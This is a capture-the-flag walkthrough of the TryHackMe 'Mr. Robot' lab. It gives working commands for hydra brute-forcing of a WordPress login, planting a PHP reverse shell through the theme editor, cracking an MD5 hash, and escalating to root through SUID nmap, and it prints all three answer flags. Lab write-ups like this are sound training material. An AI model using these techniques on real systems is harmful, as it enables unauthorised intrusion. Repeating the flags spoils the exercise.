[CTF] Tryhackme - Mr. Robot
Tasks
- What is key 1?
- What is key 2?
- What is key 3?
What is key 1?
We start like all our challenges with nmap
.
sV
for checking the services which are runningsC
for default scripts$ip
I always store the target server ip into a variable (export ip=10.10.xx.xxx
)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
└─$ nmap -sV -sC $ip
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-22 15:23 CST
Nmap scan report for 10.10.83.180
Host is up (0.23s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache
443/tcp open ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.21 seconds
Okay we have open ports on ssh, http and https
.
We should start to check the website. The website has a command-line interface themed by Mr. Robot ( which is awesome by the way). After checking the surface and source code
of the webpage we can check, if we find additional directories with gobuster
. We have the wordlist common.txt
which contains the most common folder struture names on websites. Lets see what we get here:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
└─$ gobuster -w common.txt dir -u 10.10.83.180
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.83.180
[+] Method: GET
[+] Threads: 10
[+] Wordlist: common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/0 (Status: 301) [Size: 0] [--> http://10.10.83.180/0/]
/Image (Status: 301) [Size: 0] [--> http://10.10.83.180/Image/]
/admin (Status: 301) [Size: 234] [--> http://10.10.83.180/admin/]
/atom (Status: 301) [Size: 0] [--> http://10.10.83.180/feed/atom/]
/audio (Status: 301) [Size: 234] [--> http://10.10.83.180/audio/]
/blog (Status: 301) [Size: 233] [--> http://10.10.83.180/blog/]
/css (Status: 301) [Size: 232] [--> http://10.10.83.180/css/]
/favicon.ico (Status: 200) [Size: 0]
/feed (Status: 301) [Size: 0] [--> http://10.10.83.180/feed/]
/images (Status: 301) [Size: 235] [--> http://10.10.83.180/images/]
/image (Status: 301) [Size: 0] [--> http://10.10.83.180/image/]
/js (Status: 301) [Size: 231] [--> http://10.10.83.180/js/]
/intro (Status: 200) [Size: 516314]
/license (Status: 200) [Size: 309]
/login (Status: 302) [Size: 0] [--> http://10.10.83.180/wp-login.php]
/phpmyadmin (Status: 403) [Size: 94]
/readme (Status: 200) [Size: 64]
/rss (Status: 301) [Size: 0] [--> http://10.10.83.180/feed/]
/rss2 (Status: 301) [Size: 0] [--> http://10.10.83.180/feed/]
/sitemap (Status: 200) [Size: 0]
/video (Status: 301) [Size: 234] [--> http://10.10.83.180/video/]
/wp-content (Status: 301) [Size: 239] [--> http://10.10.83.180/wp-content/]
/wp-includes (Status: 301) [Size: 240] [--> http://10.10.83.180/wp-includes/]
/wp-login (Status: 200) [Size: 2606]
/xmlrpc (Status: 405) [Size: 42]
Progress: 1942 / 1943 (99.95%)
===============================================================
Finished
===============================================================
We get lots of paths back. There are 2 very interesting things. First we have wp-login
which means, we have wordpress behind the webpage. The second thing is, phpmyadmin
.
1
2
└─$ curl 10.10.83.180/phpmyadmin
For security reasons, this URL is only accessible using localhost (127.0.0.1) as the hostname.
Okay, so we can only use this as admin.
Lets check the robots.txt
file.
1
2
3
4
5
└─$ curl 10.10.83.180/robots.txt
User-agent: *
fsocity.dic
key-1-of-3.txt
This looks very promising. We have a .dic
file which should be a dictionary file
and our first answer as txt.
Lets download the .dic
file and check the content of the txt
file.
1
2
3
4
└─$ curl 10.10.83.180/key-1-of-3.txt
073403c8a58a1f80d943455fb30724b9
Answer: 073403c8a58a1f80d943455fb30724b9
What is key 2?
Back to the wp-login
. Lets analyze the POST
request with Burpsuite
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /wp-login.php HTTP/1.1
Host: 10.10.83.180
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 102
Origin: http://10.10.83.180
Connection: keep-alive
Referer: http://10.10.83.180/wp-login.php
Cookie: s_cc=true; s_fid=7F4BB426ED3299DA-0CC18A1497731E85; s_nr=1729584073603; s_sq=%5B%5BB%5D%5D; comment_author_f63cd275cdddce8d118a8620f2380a41=test; comment_author_email_f63cd275cdddce8d118a8620f2380a41=test%40test.de; comment_author_url_f63cd275cdddce8d118a8620f2380a41=http%3A%2F%2Ftest.de; wordpress_test_cookie=WP+Cookie+check
Upgrade-Insecure-Requests: 1
log=admin&pwd=admin&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.83.180%2Fwp-admin%2F&testcookie=1
With that interception, we can try to bruteforce now with hydra
.
I baked following command:
` hydra -L fsocity.dic -p test 10.10.83.180 http-post-form “/wp-login.php:log=^USER^&pwd=^PWD^:Invalid username” -t 30`
-L
for wordlist, we need to know the user first-p test
we try as password “test” for every user in the list10.10.83.180
our target ip addresshttp-post-form
we have to bruteforcehttp-post-form
/wp-login.php
the exact path where we want to brute forcelog: ^USER^
The parameter log represents the username field in the WordPress login form. The ^USER^ placeholder is where Hydra will insert each username&pwd=^PWD^
is where hydra inserts the passwordfalse user
This is the string Hydra will search for in the server’s response to determine if a login attempt failed-t 30
This sets the number of concurrent connections to 30
Okay that is a lot of information. But thats why we did the http-interception
before:
1
log=admin&pwd=admin&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.83.180%2Fwp-admin%2F&testcookie=1
We know, that log
is the username
field nad pwd
the password
field. The field Invalid username
we can get from the page source.
1
2
3
4
5
6
7
8
9
<body class="login login-action-login wp-core-ui locale-en-us">
<div id="login">
<h1><a href="https://wordpress.org/" title="Powered by WordPress" tabindex="-1">user's Blog!</a></h1>
<div id="login_error"> <strong>ERROR</strong>: Invalid username. <a href="http://10.10.250.121/wp-login.php?action=lostpassword">Lost your password?</a><br/>
</div>
<form name="loginform" id="loginform" action="http://10.10.250.121/wp-login.php" method="post">
<p>
Okay lets bruteforce the username
now:
1
2
3
4
5
6
7
8
9
10
11
┌──(admin㉿PREDATOR-01)-[~/Downloads]
└─$ hydra -L fsocity.dic -p test 10.10.250.121 http-post-form "/wp-login.php:log=^USER^&pwd=^PWD^:Invalid username" -t 30
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-22 16:22:37
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 30 tasks per 1 server, overall 30 tasks, 858235 login tries (l:858235/p:1), ~28608 tries per task
[DATA] attacking http-post-form://10.10.250.121:80/wp-login.php:log=^USER^&pwd=^PWD^:Invalid username
[80][http-post-form] host: 10.10.250.121 login: Elliot password: test
We have our username: Elliot
Now we do the same thing to find out the password
. We have to fetch the error message for invalid password by trying to login with Elliot
.
We receive:
ERROR: The password you entered for the username Elliot is incorrect
Okay lets bake another hydra
command:
` hydra -l Elliot -P fsocity.dic $ip http-post-form “/wp-login.php:log=^USER^&pwd=^PWD^: The password you entered for the username” -t 30`
1
2
3
4
5
6
7
8
9
10
11
12
└─$ hydra -l Elliot -P fsocity.dic 10.10.250.121 http-post-form "/wp-login.php:log=^USER^&pwd=^PWD^: The password you entered for the username" -t 30
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-22 16:51:00
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 30 tasks per 1 server, overall 30 tasks, 858235 login tries (l:1/p:858235), ~28608 tries per task
[DATA] attacking http-post-form://10.10.250.121:80/wp-login.php:log=^USER^&pwd=^PWD^: The password you entered for the username
[STATUS] 637.00 tries/min, 637 tries in 00:01h, 857598 to do in 22:27h, 30 active
[STATUS] 521.00 tries/min, 1563 tries in 00:03h, 856672 to do in 27:25h, 30 active
[STATUS] 491.29 tries/min, 3439 tries in 00:07h, 854796 to do in 28:60h, 30 active
[80][http-post-form] host: 10.10.250.121 login: Elliot password: ER28-0652
Okay we found our password.
Password: ER28-0652
Lets login in Wordpress
. We check the things we can do and we have to find a way to get into the system. Most of the time you want to have a reverse
shell, if you have any access. So after considering some options, I decided for a php reverse shell
.
I use the following script:
You have to change the port
and enter your ip address
. Then you listen on your entered port. I always use 4444
.
nc -nlvp 4444 10.10.250.121
I tried to create a new post with the reverse shell
but after refreshing the new post, I didnt get a connection, thats why I needed something else.
Unter Appearance
you can edit the different page themes. The tab editor
is the solution here.
We enter the URL
http://10.10.250.121/wp-content/themes/twentyfifteen/archive.php
and we are connected!!!
Lets check what we can do with the reverse shell
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ bash -i
bash: cannot set terminal process group (2183): Inappropriate ioctl for device
bash: no job control in this shell
daemon@linux:/$ cd home
cd home
daemon@linux:/home$ ls
ls
robot
daemon@linux:/home$ cd robot
cd robot
daemon@linux:/home/robot$ ls
ls
key-2-of-3.txt
password.raw-md5
daemon@linux:/home/robot$ cat key-2-of-3.txt
cat key-2-of-3.txt
cat: key-2-of-3.txt: Permission denied
daemon@linux:/home/robot$ ls -la
ls -la
total 16
drwxr-xr-x 2 root root 4096 Nov 13 2015 .
drwxr-xr-x 3 root root 4096 Nov 13 2015 ..
-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
daemon@linux:/home/robot$ head key-2-of-3.txt
head key-2-of-3.txt
head: cannot open 'key-2-of-3.txt' for reading: Permission denied
daemon@linux:/home/robot$ cat password.raw-md5
cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
daemon@linux:/home/robot$
Okay its getting more complicated. We cant open the key-2-of-3.txt
file due to missing permissions. So we have to change user to robot
(directory home/robot)
Fortunately he left us his password but hashed in raw-md5.
We crack such things with john the ripper
.
john md5.hash --wordlist=Downloads/fsocity.dic --format=Raw-MD5
I saved the md5 c3fcd3d76192e4007dfb496cca67e13b
into a file called md5.hash
and used the previous wordlist fsocity.dic
for cracking the password.
Important is the format
. It was called raw-md5
which is very helpful.
1
2
3
4
5
6
7
8
┌──(admin㉿PREDATOR-01)-[~]
└─$ john md5.hash --wordlist=Downloads/fsocity.dic --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=24
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2024-10-22 17:16) 0g/s 21452Kp/s 21452Kc/s 21452KC/s 8output..abcdefghijklmnopqrstuvwxyz
Session completed.
And we got a password now.
The thing to do is to get a shell.
We can use following command to spawn a shell:
python -c 'import pty;pty.spawn("/bin/bash")'
and then we can change user with su robot
1
2
3
4
5
6
7
$ python -c 'import pty;pty.spawn("/bin/bash")'
daemon@linux:/$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz
robot@linux:/$
Now we can get the second text:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
robot@linux:/$ ls
ls
bin dev home lib lost+found mnt proc run srv tmp var
boot etc initrd.img lib64 media opt root sbin sys usr vmlinuz
robot@linux:/$ cd home
cd home
robot@linux:/home$ ls
ls
robot
robot@linux:/home$ cd robot
cd robot
robot@linux:~$ ls
ls
key-2-of-3.txt password.raw-md5
robot@linux:~$ cat key-2-of-3.txt
cat key-2-of-3.txt
822c73956184f694993bede3eb39f959
robot@linux:~$
Answer: 822c73956184f694993bede3eb39f959
What is key 3?
The last key is probably in the root
directory. We have to find a way to elevate to root
now.
Before I use linepea.sh
I try to find a sudoid
bit, sometimes we can use this for elevating our privilegues.
We can use following command to find those sudoid bits:
find / -perm +6000 2>/dev/null |grep bin
find /
: This starts searching from the root directory (/) and recursively searches through all subdirectoriesperm +6000
: This option looks for files with specific permission bits set. The 6000 represents files that have the setuid (4000) or setgid (2000) permissions. The + indicates that the search will match any file that has at least one of these bits set2>/dev/null
: This redirects any error messages (e.g., “permission denied” errors) to /dev/null, effectively discarding them
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
robot@linux:/$ find / -perm +6000 2>/dev/null |grep bin
find / -perm +6000 2>/dev/null |grep bin
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/mail-touchlock
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/screen
/usr/bin/mail-unlock
/usr/bin/mail-lock
/usr/bin/chsh
/usr/bin/crontab
/usr/bin/chfn
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/expiry
/usr/bin/dotlockfile
/usr/bin/sudo
/usr/bin/ssh-agent
/usr/bin/wall
/usr/local/bin/nmap
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/sbin/unix_chkpwd
robot@linux:/$
Okay there are many possilities. I checked the hint
from THM and saw nmap
.
We can use the tools from gtfobins
to gain privileleged access.
1
2
3
4
5
6
7
8
9
10
11
12
robot@linux:/$ cd /usr/local/bin
cd /usr/local/bin
robot@linux:/usr/local/bin$ ls -l nmap
ls -l nmap
-rwsr-xr-x 1 root root 504736 Nov 13 2015 nmap
robot@linux:/usr/local/bin$
nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
#
And we are root
. Lets find the last flag!
1
2
3
4
5
6
7
8
9
10
11
# cd /
cd /
# cd root
cd root
# ls
ls
firstboot_done key-3-of-3.txt
# cat key-3-of-3.txt
cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
We got it.
Answer: 04787ddef27c3dee1ee161b21670b4e4
Thoughts:
This CTF has a very nice theme and you can see how much effort was spent into it. I think there are many cool concepts in it, but I think it was not really clear to proceed after the login into wp-admin
. However, I learned a lot and perhaps you too? :-)
What did we learn?
- using
nmap
for scan open ports and versions - using
burpsuite
to intercept aHTTP POST Request
- using
hydra
for bruteforcinguser
andpassword
- using
john
for cracking a md5 password - using
php reverse shell
to get access to the server - searched for
sudoid
bits